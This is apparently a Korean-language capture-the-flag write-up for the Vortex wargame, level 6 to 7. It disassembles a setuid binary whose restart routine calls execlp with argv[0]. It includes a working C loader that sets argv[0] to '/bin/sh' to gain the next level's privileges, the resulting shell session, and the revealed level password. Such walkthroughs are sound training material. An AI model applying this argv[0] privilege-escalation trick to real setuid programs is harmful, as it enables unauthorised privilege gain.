vortex6
Vortex Level 6 → Level 7
Generic Binary Exploitation
You must disassemble this level’s exploitable application in order to find the hole.
Reading Material
- Reconstructing Binaries to C For Beginners
- Reverse Engineering - Functions… functions! functions!? sheesh
Binary download
소스코드는 없고 파일만 있다.
디버깅해서 취약점으로 exploit해야한다.
ida로 attach시켜서 메인함수를 본 모습이다.
끝에 printf가 보이는것으로 봐서 FSB를 사용해 exploit하면 될것같다.
하지만 envp[0]의 값이 0인지 검사해서 계속 restart시키기 때문에, 무한루프에 빠진다.
그래서 envp[0]을 Null로 만들기위해 전 레벨 처럼 로더가 필요하다.
라고 생각햇지만, 이상한부분에서 자꾸 오류가 뜬다.
argv를 널로 주고 실행하면 오류가 뜨고, (restart에서 Null로 인자를 받아 오류)
그리고 envp도 처음인자를 NULL로 주면 또 오류가 난다. (envp[3]자리에 잇는 주소를 printf가 가져다 쓰기 때메 주소 참조 오류)
그렇다면 fsb를 하기위해서 우리가 format문자열을 줄수있어야 하는데, 방법이 없다.
그러던중 restart 함수를 디버깅해 보았는데,
(gdb) disas restart
Dump of assembler code for function restart:
0x08048444 <+0>: push %ebp
0x08048445 <+1>: mov %esp,%ebp
0x08048447 <+3>: sub $0x18,%esp
0x0804844a <+6>: movl $0x0,0x8(%esp)
0x08048452 <+14>: mov 0x8(%ebp),%eax
0x08048455 <+17>: mov %eax,0x4(%esp)
0x08048459 <+21>: mov 0x8(%ebp),%eax
0x0804845c <+24>: mov %eax,(%esp)
0x0804845f <+27>: call 0x8048360 <execlp@plt>
0x08048464 <+32>: leave
0x08048465 <+33>: ret
End of assembler dump.
#include <stdio.h>
#include <stdlib.h>
int main(int argc,char *argv[])
{
char *argvs[]={"/bin/sh",NULL};
char *envps[]={"0",NULL};
execve("/games/vortex/vortex6",argvs,envps);
return 0;
}
[+]attack
vortex6@melinda:/tmp/sanguine6$ gcc -o execve_vortex6 execve_vortex6.c
vortex6@melinda:/tmp/sanguine6$ ./execve_vortex6
$ id
uid=5006(vortex6) gid=5006(vortex6) euid=5007(vortex7) groups=5007(vortex7),5006(vortex6)
$ cat /etc/vortex_pass/vortex7
Y52jxHtt/